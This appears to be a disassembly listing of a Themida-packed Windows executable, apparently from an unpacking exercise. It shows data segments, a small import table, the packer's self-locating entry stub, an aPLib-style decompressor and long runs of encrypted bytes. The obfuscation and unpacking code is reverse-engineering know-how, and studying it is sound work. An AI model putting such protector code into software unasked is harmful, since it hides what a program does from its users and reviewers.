dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DC000 ( 901120.)
; Section size in file		: 000DC000 ( 901120.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 1E97E081h, 44370h, 5444Fh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053BC74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053EF15 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F18B SIZE 000000F3 BYTES
; FUNCTION CHUNK AT 0053F2B4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0053F320 SIZE 0000002A BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53BC74
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53BC74
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 153329Ch, 752FCFEh, 61747365h, 70413372h, 78D32E8Bh
		dd 0D5D508E7h, 87702491h, 1721F95Fh, 91D7FD08h,	5723DC22h
		dd 0C211455Eh, 33437E37h, 0DF7723DCh, 8D703691h, 5401DE75h
		dd 696D6568h, 1DC26164h, 0C29845D4h, 8F01701Eh,	3FC201F1h
		dd 5C92C457h, 457E7721h, 7537C271h, 215C35E4h, 0DCB5A7F7h
		dd 7740D17Ah, 0D770DBFAh, 2B343078h, 0DFF1312Dh, 8503CC63h
		dd 0E4BB013Bh, 1CAF18E7h, 0D485C58Bh, 0A00E860h, 0ABED815Dh
		dd 6030332h, 13F19589h,	1DB50D08h, 6185841Bh, 0BD830104h
		dd 70A71h, 0E88B0C74h, 0B852E2E4h, 0E3C23DA5h, 8E244470h
		dd 800D793Eh, 0E830456Ah, 9A6829A3h, 7833D74h, 0F0ADF28h
		dd 0A894B25h, 0E984D548h, 608A0214h
		db 0FAh, 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+13399EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E0374
		iret
; ---------------------------------------------------------------------------
		dw 820h
		dd 450383E6h, 4312FF61h, 368DE1EBh
; ---------------------------------------------------------------------------


loc_4E0374:				; CODE XREF: Themida_:004E0363j
		fsub	qword ptr [ecx+26h]
		ror	cl, 1
		retn	450h
; ---------------------------------------------------------------------------
		dd 0C41A8146h, 3902FF7Ch, 8D10E249h, 8B058045h,	85C7085Dh
		dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h,	5D0688BDh
		dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h
		dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h
		dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h
		dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh
		dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h
		dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h
		dd 577390Ah, 99BCEB4Fh,	0FD611422h, 660A9F0Dh, 0D71E08DBh
		dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h,	5D0186A8h
		dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh
		dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh
		dd 380838BAh, 0FC702AB9h, 3528BD10h, 470FFE00h,	0B9FA7549h
		dd 6A772271h, 0FD01BB38h, 0EB82F11Bh, 8E60C70Ch, 0E370B86h
		dd 65510704h, 0FF1D360Dh, 42268AB9h, 580E907h, 0DFC01059h
		dd 0F1086160h, 79C32C62h, 262EDE8Ch, 2F0A9966h,	8B75F4C8h
		dd 0C447A01h, 67610F14h, 687F4E9h, 0F75C62FCh, 34CB93DEh
		dd 3982E087h, 76005B4Eh, 51B8100Fh, 0F8D1043Dh,	0C346EC3Bh
		dd 2E097556h, 0E0111ABh, 65E4EC48h, 53400690h, 1905C584h
		dd 0E11E968Eh, 4151E53h, 8C0329C2h, 0E7820571h,	0C8D20E6Eh
		dd 778186FFh, 1D002204h, 0F984C134h, 0C8207533h, 0BB3B3FBCh
		dd 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh, 0E9F54567h
		dd 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h, 1384845Ah
		dd 5D65653h, 29EE825Eh,	10F78150h, 8A3E36E7h, 8113B9A8h
		dd 434A9723h, 86105706h, 0F6541502h, 0FA0EB4D9h, 0AEDA8D67h
		dd 99E22A81h, 0F0CAE400h, 0EB0B3286h, 3A3F3891h, 0E9530C6Bh
		dd 39211104h, 8A0CC45Bh, 453C2555h, 211508CCh, 0C4530043h
		dd 1AD881AAh, 923486C8h, 4500BC1Fh, 0E285C482h,	0EA651AB2h
		dd 0C3011717h, 85189AD4h, 0AE50C40Ah, 6E031F24h, 0E18AF98Bh
		dd 1885145Ah, 8038110h,	0CA08FA0Eh, 8AE91429h, 17D7C783h
		dd 60FDFAD8h, 2AC8820Ch, 0F2541A76h, 14B9185Bh,	0EEA101Eh
		dd 7100A3A4h, 0DF9E8179h, 12C5CAE8h, 15B9C9C2h,	0E70E1B23h
		dd 0EC872AF7h, 4552D1DEh, 4A122EAh, 629C12AEh, 0E0F5BC83h
		dd 0CF48229h, 4FC33484h, 615E834h, 393C1Fh, 0A39E7D5Ah
		dd 7BE3160h, 87A0DABCh,	0BA5430C4h, 0B703FA41h,	0EA089079h
		dd 0FD350011h, 0F949FBC7h, 0D100B11Bh, 0CD6FD5A3h, 0D9E76Ah
		dd 0C3F0828Eh, 0FA5F674Ch, 0FBFFACDh, 73CFC287h, 24E9B578h
		dd 32FE08CFh, 80EBEA94h, 9BEE582Bh, 766C0043h, 221DA309h
		dd 0FF01D5B3h, 6B4DAC05h, 0E8B0401Eh, 532BC133h, 0D0007679h
		dd 427844C6h, 0FA3C5669h, 94980762h, 17BA6D29h,	0EA5011A1h
		dd 0EE0B6452h, 56825400h, 77038D6Bh, 0E24F0098h, 0BB2F062Ah
		dd 0FF00C042h, 5BB87DD5h, 0F4360D8Bh, 4D70CCh, 7F92BB2Eh
		dd 1D9F5314h, 6047183Fh, 27132518h, 3A4B0056h, 51192D26h
		dd 0A23D0A44h, 2901F424h, 0F8B0AA17h, 688726F5h, 205C8301h
		dd 47857A6h, 0AFDEF700h, 0FB247DFAh, 0EF2A3099h, 5AB14270h
		dd 0B4F3DD00h, 96CCC529h, 32EB0AFh, 88BE4877h, 287038A7h
		dd 0F61FAE03h, 0F0217866h, 1EC2A6E1h, 8032209Fh, 1C8E5953h
		dd 9700FF01h, 217F4A2Bh, 3736D50h, 98C9353Fh, 99A0826Bh
		dd 80FA856h, 808DBDD7h,	0A7EB1C91h, 3B423029h, 709CBBF1h
		dd 0D04A350Ch, 77FA9FFh, 0C82CF81Dh, 0ACCFD34Eh, 0A8FEF007h
		dd 7E735D7Ah, 8768921Ah, 39DCD49Ah, 9D7ECFh, 91084B6h
		dd 2968B159h, 0F7085100h, 0AD9F968Bh, 0E02F1E0Eh, 399FEFh
		dd 7A178FD4h, 0DDF00922h, 5338B600h, 0CA071E2Dh, 2C48DF8Ch
